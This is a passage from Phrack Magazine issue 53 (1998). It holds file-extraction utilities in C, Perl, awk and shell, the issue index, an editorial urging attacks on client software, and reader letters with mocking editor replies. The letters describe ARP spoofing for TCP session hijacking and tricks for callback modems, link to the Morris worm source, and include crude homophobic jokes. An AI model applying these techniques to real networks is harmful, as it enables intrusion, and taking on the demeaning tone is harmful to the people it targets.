if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc");

exit(1);

}

fn_p = fn_p‑>next;

fn_p‑>next = NULL;

/*

* Check each file in the f_name list for extraction tags. */

for (fn_p = head; fn_p‑>next; fn_p = fn_p‑>next)

{

if (!(in_p = fopen(fn_p‑>name, "r")))

{

fprintf(stderr, "Could not open input file %s.\n", fn_p‑>name); continue;

}

else fprintf(stderr, "Opened %s\n", fn_p‑>name); while (fgets(b, 256, in_p))

{

if (!strncmp (b, BEGIN_TAG, BT_SIZE))

{

b[strlen(b) ‑ 1] = 0; /* Now we have a string. */

j++;

if ((bp = strchr(b + BT_SIZE + 1, '/'))) {

while (bp)

{

*bp = 0;

mkdir(b + BT_SIZE, 0700);

*bp = '/';

bp = strchr(bp + 1, '/');

}

}

if ((out_p = fopen(b + BT_SIZE, "w"))) {

printf("‑ Extracting %s\n", b + BT_SIZE); }

else

{

printf("Could not extract '%s'.\n", b + BT_SIZE); continue;

}

}

else if (!strncmp (b, END_TAG, ET_SIZE))

{

if (out_p) fclose(out_p);

else

{

fprintf(stderr, "Error closing file %s.\n", fn_p‑>name); continue;

}

}

else if (out_p)

{

fputs(b, out_p);

}

}

}

if (!j) printf("No extraction tags found in list.\n"); else printf("Extracted %d file(s).\n", j);

return (0);

}

/* EOF */

<‑‑>

<++> PEU/extract.pl

# Daos <daos@nym.alias.net>

#!/bin/sh ‑‑ # ‑*‑ perl ‑*‑ ‑n

eval 'exec perl $0 ‑S ${1+"$@"}' if 0;

$opening=0;

if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};

if (/^\<\‑\‑\>/) {close ct_ex; $opened=0;};

if ($opening) {

chop $curfile;

$sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);

eval {mkdir $sex_dir, "0777";}; open(ct_ex,">$curfile");

print "Attempting extraction of $curfile\n"; $opened=1;

}

if ($opened && !$opening) {print ct_ex $_};

<‑‑>

<++> PEU/extract.awk

#!/usr/bin/awk ‑f

#

# Yet Another Extraction Script

# ‑ <sirsyko>

#

/^\<\+\+\>/ {

ind = 1

File = $2

split ($2, dirs, "/")

Dir="."

while ( dirs[ind+1] ) { Dir=Dir"/"dirs[ind]

system ("mkdir " Dir" 2>/dev/null") ++ind

}

next

}

/^\<\‑\‑\>/ {

File = ""

next

}

File { print >> File }

<‑‑>

<++> PEU/extract.sh

#!/bin/sh

# exctract.sh : Written 9/2/1997 for the Phrack Staff by <sirsyko> #

# note, this file will create all directories relative to the current directory # originally a bug, I've now upgraded it to a feature since I dont want to deal # with the leading / (besides, you dont want hackers giving you full pathnames # anyway, now do you :)

# Hopefully this will demonstrate another useful aspect of IFS other than # haxoring rewt

#

# Usage: ./extract.sh <filename>

cat $* | (

Working=1

while [ $Working ];

do

OLDIFS1="$IFS"

IFS=

if read Line; then

IFS="$OLDIFS1"

set ‑‑ $Line

case "$1" in

"<++>") OLDIFS2="$IFS" IFS=/

set ‑‑ $2 IFS="$OLDIFS2" while [ $# ‑gt 1 ]; do

File=${File:‑"."}/$1

if [ ! ‑d $File ]; then

echo "Making dir $File"

mkdir $File

fi

shift

done

File=${File:‑"."}/$1 echo "Storing data in $File" ;;

"<‑‑>") if [ "x$File" != "x" ]; then

unset File

fi ;;

*) if [ "x$File" != "x" ]; then

IFS=

echo "$Line" >> $File

IFS="$OLDIFS1"

fi

;;

esac

IFS="$OLDIFS1"

else

echo "End of file"

unset Working

fi

done

)

<‑‑>

53

- Introduction by Phrack Staff

- Phrack Loopback by Phrack Staff

- Line Noise by various

- Phrack Prophile on Glyph by Phrack Staff

- An Overview of Internet Routing by krnl

- T/TCP Vulnerabilities by route

- A Stealthy Windows Keylogger by markj8

- Linux Trusted Path Execution redux by K. Baranowski

- Hacking in Forth by mudge

- Interface Promiscuity Obscurity by apk

- Watcher, NIDS for the masses by hacklab

- The Crumbling Tunnel by Aleph1

- Port Scan Detection Tools by Solar Designer

- Phrack World News by disorder

- extract.c by Phrack Staff

Introduction

‑‑‑[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 01 of 15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 5 3 I N D E X

‑‑‑‑‑‑‑‑[ Rumble in the Mumble

More than 6 months have passed since our last offering. My most humble, sincere and heartfelt apologies. At long last, here we are. Better late then never, that's what I always say. Unless of course, the late version sucks, then I just like to disavow it entirely. Well, here we go again. Another Phrack issue to glorify behavior which would otherwise be classified as sociopathic or frankly psychotic (according to Mich Kabay). More of what you want, more of what you need. Technical articles on fanatically enticing topics, lines and lines of glorious source, another gut‑busting installment of Loopback, and of course, the News. Mammas, don't let your babies grow up to be hackers. Or hookers for that matter.

Alright. Let's get down to business. Let's talk remote attack paradigms. Remote attack paradigms can fall into one of two types, based off of the standard client/server communication paradigm (we are glossing over any extensions to the model like client to client or server to server stuff). The two attack types are client to server (server‑centric) and server to client (client‑centric). Server‑centric attacks are well known, understand and documented. Client‑centric attacks are an area that is often overlooked, but is definitely fertile ground for exploitation. Below we look at both.

‑‑‑‑[ Server‑Centricity

Historically, the vast majority of remote attacks have been server‑centric. Server‑centric, in this scope, refers to attacks that target server (or daemon) programs. A common (and frequently reoccurring) example is sendmail. The attack targets a server (the sendmail daemon) and approximates a client (the exploit program). There are several reasons why this has been the trend:

‑ Server programs typically run with elevated privileges. Server programs usually require certain system resources or access to special files that necessitate privilege elevation (of course we know this doesn't have to be the case; have a look at POSIX 6). A successful compromise could very well mean access to the target system at that (higher) privilege level.

‑ Discretion is the attacker's whim. The client/server message paradigm specifies that a server provides a service that a client may request. Servers exist to process clientele requests. As per this model, the attacker (client) makes a request (attack) to any server offering the service and may do so at any point.

‑ Client codebase is usually simple. Dumb client, smart server. The impact of this is two‑fold. The fact that server code tends to be more complex means that it is tougher to audit from a security stand‑point. The fact that client code is typically smaller and less complex means that exploitation code development time is reduced.

‑ Code reuse in exploitation programs. Client‑based exploitation code bases are often quite similar. Code such as packet generators and buffer overflow eggs are often reused. This further cuts down on development time and also reduces required sophistication on the part of the exploit writer.

All of these make server‑centric attacks enticing. The ability to selectively choose a program to attack running with elevated privileges and quickly write up exploit code for it is a powerful combination. It is easy to see why this paradigm has perpetuated itself so successfully. However, up until recently it seems another potentially lucrative area of exploitation has gone all but overlooked.

‑‑‑‑[ Client‑Centricity

An often neglected area of exploitation is the exact reverse of the above: client‑centricity. Client‑centric attacks target client programs (duh). The types of programs in this category include: web browsers (which have seen more then their share of vulnerabilities) remote access programs, DNS resolvers and IRC clients (to name a few). The benefits of this attack model are as follows:

‑ Automated (non‑discretionary) attacks. We know that, under the previous paradigm, the attacker has complete autonomy over who s/he attacks. The benefit there is obvious. However, non‑discretionary attacking implies that the attacker doesn't even have to be around when the attack takes place. The attacker can set up the server containing the exploit and actually go do something useful (tm).

‑ Wide dispersement. With client‑centric attacks you can gain a wider audience. If a server contains a popular service, people from all over will seek it out. Popular websites are constantly bombarded with clientele. Another consideration: server programs often run in filtered environments. It may not be possible for an attacker to connect to a server. This is rarely the case in client‑centric attacks.

‑ Client codebase not developed with security in mind. If you think server code is bad, you should see some client code. Memory leaks and stack overruns are all too common.

‑ Largely an untapped resource. There are so many wonderful holes waiting to be discovered. Judging at how successful people have been in finding and exploiting holes in server code, it goes to figure that the same success can be had in client code. In fact, if you take into account the fact that the codebase is largely unaudited from a security perspective, the yields should be high.

For all the above reasons, people wanting to find security holes should be definitely be looking at client programs. Now go break telnet.

Enjoy the magazine. It is by and for the hacking community. Period.

‑‑ Editor in Chief ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ route

‑‑ Phrack World News ‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ disorder

‑‑ Phrack Publicity ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ dangergirl

‑‑ Phrack Librarian ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ loadammo

‑‑ Soother of Typographical Chaos ‑[ snocrash

‑‑ Hi! I'm an idiot! ‑‑‑‑‑‑‑‑‑‑‑‑‑[ Carolyn P. Meinel

‑‑ The Justice‑less Files ‑‑‑‑‑‑‑‑‑[ Kevin D. Mitnick (www.kevinmitnick.com) ‑‑‑‑‑‑‑‑ Elite ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> Solar Designer

‑‑ More money than God ‑‑‑‑‑‑‑‑‑‑‑‑[ The former SNI

‑‑ Tom P. and Tim N. ‑‑‑‑‑‑‑‑‑‑‑‑‑[ Cool as ice, hot as lava.

‑‑ Official Phrack Song ‑‑‑‑‑‑‑‑‑‑‑[ KMFDM/Megalomaniac

‑‑ Official Phrack Tattoo artist ‑‑[ C. Nalla Smith

‑‑ Shout Outs and Thank Yous ‑‑‑‑‑‑[ haskell, mudge, loadammo, nihilis, daveg,

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| halflife, snocrash, apk, solar designer,

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| kore, alhambra, nihil, sluggo, Datastorm,

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| aleph1, drwho, silitek

Phrack Magazine V. 8, #53, xx xx, 1998. ISSN 1068‑1035

Contents Copyright (c) 1998 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without written permission from the editor in chief. Phrack Magazine is made available quarterly to the public, free of charge. Go nuts people.

Contact Phrack Magazine

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Submissions: phrackedit@phrack.com

Commentary: loopback@phrack.com

Editor in Chief: route@phrack.com

Publicist: dangergrl@phrack.com

Phrack World News: disorder@phrack.com

Submissions to the above email address may be encrypted with the following key:

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.6.2

mQENAzMgU6YAAAEH/1/Kc1KrcUIyL5RBEVeD82JM9skWn60HBzy25FvR6QRYF8uW ibPDuf3ecgGezQHM0/bDuQfxeOXDihqXQNZzXf02RuS/Au0yiILKqGGfqxxP88/O vgEDrxu4vKpHBMYTE/Gh6u8QtcqfPYkrfFzJADzPEnPI7zw7ACAnXM5F+8+elt2j 0njg68iA8ms7W5f0AOcRXEXfCznxVTk470JAIsx76+2aPs9mpIFOB2f8u7xPKg+W DDJ2wTS1vXzPsmsGJt1UypmitKBQYvJrrsLtTQ9FRavflvCpCWKiwCGIngIKt3yG /v/uQb3qagZ3kiYr3nUJ+ULklSwej+lrReIdqYEABRG0GjxwaHJhY2tlZGl0QGlu Zm9uZXh1cy5jb20+tA9QaHJhY2sgTWFnYXppbmU=

=1iyt

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

As always, ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED. Phrack goes out plaintext. You certainly can subscribe in plaintext.

phrack:~# head ‑20 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of the * editors and contributors, truthful and accurate. When possible, all facts * are checked, all code is compiled. However, we are not omniscient (hell, * we don't even get paid). It is entirely possible something contained * within this publication is incorrect in some way. If this is the case, * please drop us some email so that we can correct it in a future issue. *

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for the * entirely stupid (or illegal) things people may do with the information * contained here‑in. Phrack is a compendium of knowledge, wisdom, wit, and * sass. We neither advocate, condone nor participate in any sort of illicit * behavior. But we will sit back and watch.

*

*

* Lastly, it bears mentioning that the opinions that may be expressed in the * articles of Phrack Magazine are intellectual property of their authors. * These opinions do not necessarily represent those of the Phrack Staff. */

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ T A B L E O F C O N T E N T S

1 Introduction Phrack Staff 11K

2 Phrack Loopback Phrack Staff 33K

3 Line Noise various 51K

4 Phrack Prophile on Glyph Phrack Staff 18K

5 An Overview of Internet Routing krnl 50K

6 T/TCP Vulnerabilities route 17K

7 A Stealthy Windows Keylogger markj8 25K 8 Linux Trusted Path Execution redux K. Baranowski 23K

9 Hacking in Forth mudge 15K

10 Interface Promiscuity Obscurity apk 24K 11 Watcher, NIDS for the masses hacklab 32K

12 The Crumbling Tunnel Aleph1 52K

13 Port Scan Detection Tools Solar Designer 25K

14 Phrack World News Disorder 95K

15 extract.c Phrack Staff 11K

482K

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

" The advent of information availability and a rise in the number people for whom the net has always been 'the norm' is producing a class of users who cannot think for themselves. As reliance upon scripted attacks increases, the number of people who personally possess technical knowledge decreases. "

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Loopback

‑‑‑[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 02 of 15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 53 L O O P B A C K

‑‑‑‑‑‑‑‑[ Phrack Staff

[ Ed. note: The letters are perhaps editted for format, but generally not for grammar and/or spelling. I try not to correct the vernacular, as it often adds a colorful perspective to the letter in question. ]

0x1>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ P52‑02@0xd: ... Something you've mailed to a whiley bunch... ]

I couldn't help but notice your use of "whiley" rather than the more common English word "wily" in the above‑quoted paragraph. In the future, take the time to grammar and spell check your replies to minimize the emotional

damage you are bound to suffer.

‑‑Bob Stratton

[ WHOA! My bad. Strat has caught me with my proverbial pants around my proverbial ankles. Further evidence towards me ‑ not ‑ being omnisicient argument (although I still believe this to be conjecture). ]

P.S. Thanks for the sensible code‑formatting discussion. Your style sounds a lot like that which kept me sane back when I earned my living writing code. The enlightened person's answer, of course, is to use an Emacs minor mode, and to let the editor do the work while one types. Emacs is also the answer to the Windoze 95 junkie looking for something with which to read Phrack. Works for me.

[ Amen. Except for the emacs part. pico with regexp or vim 5.0 with syntax highlighting is the way to go. ]

0x2>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ P52‑09: On the Morality of Phreaking ]

Dear Phrack,

I am not a hacker nor a hacker wannabe, so I had only the most passing acquaintance with your publication. However, today by chance I came across this article in your January 26 issue.

I am impressed. I did my MA in philosophy, and I was quite nonplussed to see such a lucid and philosophical point of view in what is, to my understanding, a very specialized publication not typically devoted to philosophy. Though my areas of interest were mainly Nietzsche and Deleuze, I found your summary of both Mill and Kant to be accurate and well‑applied. Kudos, you obviously have some very intelligent people on staff, whose talents are not limited to your own area of expertise.

Yours respectfully,

Sean Saraq

Toronto

[ High praise indeed! Thank you for the compliments. It's good to see we're read in communities other then that of our target demographic. ]

0x3>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I can't believe you included article 12 in Phrack 50. Is Phrack really getting so sad? Have you really got nothing better to publish than regurgitated crypto babble?

[ Despite what you may think, we are not sad. The phrack compound is imbibed with much conviviality and festivity. Why, every Friday is `punch a mime day`. We hire a mime to come down to the office and we all take turns punching him in the face. ]

Cheers, Chris (XORed that's Fghyud)

[ That's not a very good XOR implementation you have there. It appears an extraneous character has been inserted. Check your pad or the stream cipher. Or perhaps check your other regurgitated crypto babble for more info. ]

0x4>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For those readers interested in "Piercing Firewalls" (Phrack Issue 52) take a look at datapipe.c available at www.rootshell.com. I can't think of any way to make it work with X, like tunnel/portal, but it works fine with telnet and nothing needs to be running outside the firewall.

ziro antagonist

[ Noted. ]

0x5>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Okay, enough nagging about the Milla pics!

The one thing everyone reading Phrack wants to know is:

When will you publish nude pictures of dangergrl ???

[ When your mom gives them back. ]

Yours Sincerely,

‑anonymous. (i get kicked from #hack enuf as it is already :)

[ What a suprise. ]

0x6>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

While the Juggernaut program is interesting, I've found that its model for session stealing is a tad limited. There are two issues, one of which I've dealt with. First issue is the one packet read, one packet written paradigm. It really should allow separate threads for read/write to avoid getting easily out of synch. This I've not dealt with, but it is understandable given the second, the ACK storms it creates.

[ Juggernaut 1.x is very primitive in many ways. Juggernaut++, the next generation juggernaut, has been mostly redesigned from the ground up with a 90% new code base. It has many things the previous versions lacked, including: a much better interface, threading for concurency, portability, effcicieny mods, and many bugfixes. ]

The ACK storms can be avoided with an ARP attack (or possibly an ICMP redirect). Send an ARP message to the source of the connection you're stealing (an ARP reply) which tells it that the ethernet address of the machine it's talking to (the destination machine, which you want to talk to instead) is something "off in space" like 2:3:4:5:6:7 instead of the real address. This needs to be done fairly often, should be started immediately before you start your hijack attack.

[ Indeed. As long the host will accept and cache unsolicited ARP responses, this will work. ]

The result is that the machine you are intercepting becomes unable to talk to the destination and won't desynch the session, and traffic goes to practically nothing. After you stop, the ARP table will shortly expire and be updated with correct information, so the attack will either appear as a network glitch, or you'll get alerted (NT will alert) that an IP address conflict exists (but tell nothing about what the conflict is with). Moreover, an ARP reply will escape the notice of many network monitoring programs.

[ Something like this has in fact been implemented in juggernaut++... And, just to answer the burning question I get asked so often, NO, J++ is NOT publically available. ]

I have sent the code to the original author of Juggernaut (being inclined to share knowledge) and wanted to alert you.

[ The original author of juggernaut and I are pretty close. I'll be shure to check with him. ]

0x7>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi! My name is StiN.

[ Mine's route. ]

I'm from Russia.

[ I'm from the U.S. ]

Sorry for my bad English.

[ Sorry for my bad russian, comrade. ]

I Have a friend His name is Armany.

[ I have a friend named Gilgamesh. ]

Where do you live?

[ I live in a small one bedroom aprartment with four cats. ]

How old are you?

[ 19. ]

What's yore name?

[ We already went over this. ]

What's yore Hobby?

[ Volunteering for free medical tests of any variety. ]

Do you knew Russia?

[ I KNEW RUSSIA BACK IN THE GOOD OLE' DAYS! Back before the collapse. ]

Good Bay.

[ Bad Bay: Bay of Pigs. Good bay: Bay of jello. ]

0x8>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hola, soy Omar

Soy un fantico de su revista, la sigo desde la phrack 48.

No soy un hacker, phreaker, o cualquier cosa, soy ms un fantico de las malditas mquinas.

Muy buenos artculos; gracias por las cosas de LINUX (me fueron de mucha utilidad)

Suerte y sigan as.

Saludos de Uruguay. South Amrica.

[ Yo quiero taco bell. ]

0x9>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

hi,

where can i find the source code for the legendary internet worm by morris (1988) ?

thanx (i hope u dudez can help me :( )

[ ftp://idea.sec.dsi.unimi.it/pub/crypt/code/worm_src.tar.gz ]

0xa>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

My friends were going to a basketball game at their gay school (Grades

[ Wow, they have gay schools now? Do they videotape you jerking off and looking completely gay and stupid? (http://www.leisuretown.com) ]

pre‑school through 8th grade). They were wearing their wallet chains, not causing any harm with them. (It was an after school activity) the

[ As opposed to those people who have the wallet‑chain/morning‑stars. They are the ones who cause all that wallet‑chain inflicted harm. ]

teachers made them take them off. My friend, Krazy K, asked if he could

[ Krazy K? Any relation to Daft D? ]

take off the chain and keep the wallet, but they made him give them the whole thing. He thought it was funny, though, especially since he had condomes in it (It is a "christian" school). Not that he was going to

[ Condomes! The condom that's a tent! ]

use them. They of course being the nosy bastards that they are, rummaged around in it to their liking and found them. (We know because they talked to him about it.

[ Good detective work. ]

He told them it was a joke he was going to do to his friend. "I was going to put it in his locker" He said.)

[ Now *that's* good humor. ]

I was wondering about the legality of this whole thing. Is it legal

[ Perhaps you should wonder about the stupidity of the whole thing first, then work your way towards relevance, and then back to stupidity again. ]

to take someones wallet and chain (Which I consider personal property) when it is an after school activity and then look through it? They gave

[ *shrug* Sure is fun though, isn't it? Actually, I don't know the laws and regulations of gay schools. It just might be allowed. ]

him no alternative (but to go home, and, "Oh by the way, you can't use the phone"). Then to search through the wallet without permission of the owner? I am asking because, I would like to get them in trouble, In retaliation to the many times I've been screwed there (I go to high

[ Been screwed at the gay school? Hmm. Did you have any condomes? ]

school now, thank God). If you could tell me, or know of someone who knows, then that would help us.

Thanks,

Abs0lute Zer0

[ You can say that again. ]

0xb>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Editor,

I would like to take a chance to give my most sincere thanks for resurrecting my uttermost respect to the humanity (so often shattered by politicians and other freaks) by providing me a unique opportunity to immerse myself into the deep wisdom and magic of written word found in the Line Noise section. This is truly the place where one can look for (with a sense of deep confidence) a genuine proof that every person is a genius on the inside.

[ Well thank you very much. Although I think you are refering to loopback. ]

Driven by this wonderful feeling of replenished hope and respect, I'd like to answer a cry for help from a young but talented Hacker Demonhawk, who expressed a wish to "blow shit up!!". I used to be a chemist, and I would

[ Ummm... ]

like to share, in the spirit of the magazine, my knowledge and provide easy, quick instructions for young fighting souls that would assist them in the aforementioned noble cause. In other words, how to build a bomb.

[ Whoops. You just lost me there. ]

{ rest of message truncated due to overwhelming levels of inanity ... }

0xc>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

where would one go to get "private" hacker help?

[ In the back where they give the lapdances. ]

0xd>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

sorry to bother ya...

i was hoping maybe you could give me some info. don't take me for a complete idiot,

[ Uh oh. ]

i just don't know much about this kind of stuff.

maybe u could get me started... give a few tips???

[ Sure. Never kiss on the first date. Always pack an extra pair of socks AND underwear. Never put electrity in your mouth 'just to see what would happen'. Also, if you happen to find yourself in the position, always at least *ask* to give someone the reach‑around; it's common courtesy. ]

0xe>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello,

My name is Robert I guess you could call me a beginner hacker I I was wondering if you could please help me out I need some hacking numbers and

[ Ok. 7, 9, 11, 43, and 834. ]

passwords just so I can play around on them and get good. Also if you have

[ Sure. Try `password`, `hacker12`, `pickle`, and `love`. ]

any files or anything that you think that would be helpful to me please attach

[ Alright, /dev/random is a good one to start with. ]

or tell me where I can get them. I just bought the book Secerts Of A Super Hacker By Knightmare is that any good if there is any books I should get

[ Ah yes, the book of the truly desperate and depraved. As was said once before by Voayger, Knightmare's biggest hack was getting that book actually published. ]

please tell me or if you have any text please send. I am running windows 95

[ Can you put Windows 95 in your mouth? NO! Such is Mango! ]

Thanks For Ur Time

Robert

0xf>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Sir

I like you hacker people because you made life easy

to a lot of people

[ Especially the makers of fine Bavarian shoe‑horns. ]

I want to ask you an important question to me

When connecting to Internet, I found that some sites inform me with my ISP IP#

So if they're any possibility that any site can track me

and identify the following

1‑what country I came from?

[ Well; if you're dialing up to your ISP, and connecting to 'sites' from there, that would be a one hop jump out to the world. And yes; they could find out what country you're coming from, unless you're dialed into a provider in another country. In which case; it might be a little more difficult. The other tipoff is when you scan in your birth certificate and put it up on your webpage along side your current address and a head shot.

That's a 'no‑no'. ]

2‑what is my phone number?

[ Are you asking us if we know your number? Or if someone can find your number when you connect to their machine and they know your IP address? I'm confused, so I'll answer the question both ways.

A‑1: No. We don't know your number, and we don't want it. While we're at it. We don't want to make out with you either. Quit sending us the flowers. It's over this time once and for all.

A‑2: If you did something that would incite someone to try to find your phone number; odds are if it was an illegal action your ISP would gladly hand your information to the first law enforcement person who walked through the door. Or for that matter, anyone who asks nicely. ISPs aren't exactly known for being well guarded vaults of information. ]

Globally can any site by coordination with my ISP track me and catch me?

[ Ever hear of Kevin Mitnick? ]

Please provide me with a full answer quickly.

[ Do people not realize this is a quarterly magazine? Quick for us is 3 months. If you've done something stupid and gotten busted; our sincerest apologies for being late. Next time we'll drop what we're doing and get right to it. ]

0x10>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I am a Indiana University student currently studying Criminal Justice. I am trying to gather data and find information concerning computer hacking and governmental and/or corporate involvement. The twist that I am persuing concerns a rumor that I had heard. I was told that when some computer hackers were caught, they were recruited by the government and/or corporations to work in their security department. Usually where there is a rumor, there is some truth to the matter, especially when concerning the department of defense. I don't know if you could help me find information concerning this issue. Any help would be greatly appreciated.

Respectfully,

Jason Sturgeon

[ Well... We at Phrack haven't heard anything about the DoD hiring 'hackers', it's been our understanding that the government at least prefers straight laced guys with military background to handle their stuff. Although it's not out of the realms of possibility that they've hired 'hackers', if it's happened it's of rare occurance, and those individuals who fit the title of 'hacker' probably don't conform to your definition of what a 'hacker' really is..

Corporations and The Government for the most part tend to shy away from 'hackers', if merely for the stigma of being a 'hacker'. But as a stereotype, hackers conjur up all sorts of bad mental images for respectable management types. We're sure it's happened to some capacity, but we have no witty anticdotes concerning it. ]

0x11>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello there

I have heard there are some risks using callback modems.

Can you give me some more info on this, or info where to look

[ Risks of callback modems are fairly simple. The problems involved with them are a little bit more complex. We'll discuss both in an effort to best cover this subject. The overall fundamental flaw of callback modems is the idea that you could 'fake' a hang‑up on your end, or play a dialtone in an effort to fool the modem into thinking it hung up. Then you wait for it to dial the number, and once it's done, 'ATA' your modem and pick up the carrier.

We ourselves have tested this a couple times with moderate success, it's not 100% accurate, and it also depends on the hardware on the remote side.

If the call‑back information is based of ANI, that could provide more problems, since the Phrack staff has heard the rumor that you can fake ANI with certian types of ISDN set‑ups.

The two types of callback modem configurations, one being a program that acts as a frontend to the dialing mechanism, the other being hardware based.

Such as, you dial in to the modem, the program asks you to authenticate yourself by some means, you do so; it hangs up and calls the number that's paired with your authenication information. This isn't so bad, but if anyone remembers back when certian BBSs had callback that you could enter, you could make them call arbitrary phone numbers by putting in a fake number if their door was misconfigured.

As far as hardware based call‑back, whence you program the passwords and numbers into the modem and it deals with the whole transaction, introduces a scalability issue as well as the fact that the modem has no means to log on it's own, etc.. etc.. etc.

If any readers wish to write an article based on this subject you are urged to write it and send it in. It'd be nice to see some more solid information on this subject.

As well; if any companies wish to send us modems, we urge you to send us some modems so we can put them up against a battery of hacker tested and hacker approved tests. ]

0x12>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I would like to know about cellular phones....how to find out secret pin, how to listen to calls etc....

[ I would like to know more about marshmellows. How they're planted, the way they're picked in the spring time as they blossom from the little tiny buds you get in 'Swiss Miss Hot Coco', to the fat chewey vessles of taste and excitment that they are at full maturity.

I would like to find out the secrets of gravity, as well as a good solid reason why the universe keeps 'expanding' ‑‑ without any of that "just because" rhetoric that seems to dominate the subject. ]

If You need the cellular make I'll be obliged to give it to you....

[ Wow. You'll give us your phone just so we can look at it? Send us your home address and we'll send you a S.A.S.E to mail it back to us in. ]

Thanks. Anthony.

[ No. Thank _you_ your generosity Anthony! ]

0x13>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hiya,

Not wishing to sound like a playboy forum article but I have read phrack for

[ Already my interest is waning... ]

quite a while and have only seen cause to write now.

I commend you on your editorial on C programming style. The sooner we get out

[ And I commend you on your commendation. +100 points. ]

there and club to death those people that use single space indentation the better.

I do however have three main points to disagree with you on.

1. Write as many comments as you can. You may need to remember what it was you where coding AFTER copious amounts of recriational drugs.

[ Nah. You don't want to get out of hand with the commenting. You end up commenting needlessly and redundancy abounds. And if you can't read your own code, kill yourself. ‑100 points. ]

2. Put your own varaibles with uppercase first letters (to distinguish them from sys vars)

[ `sys vars`? What like argc, argv or errno? This is a ridiculous suggestion. It makes your code ugly and harder to parse. I award you no points. ]

3. In reference to your comment

"In the grand scheme of things, none are really

any more correct than any others, except mine."

It must be said that this is completely wrong. The only point that counts is in fact mine.

[ Not when it's in my magazine. With a final score of 0, you lose. ]

Regards,

andrewm at quicknet dot com dot au

[ Cute. ]

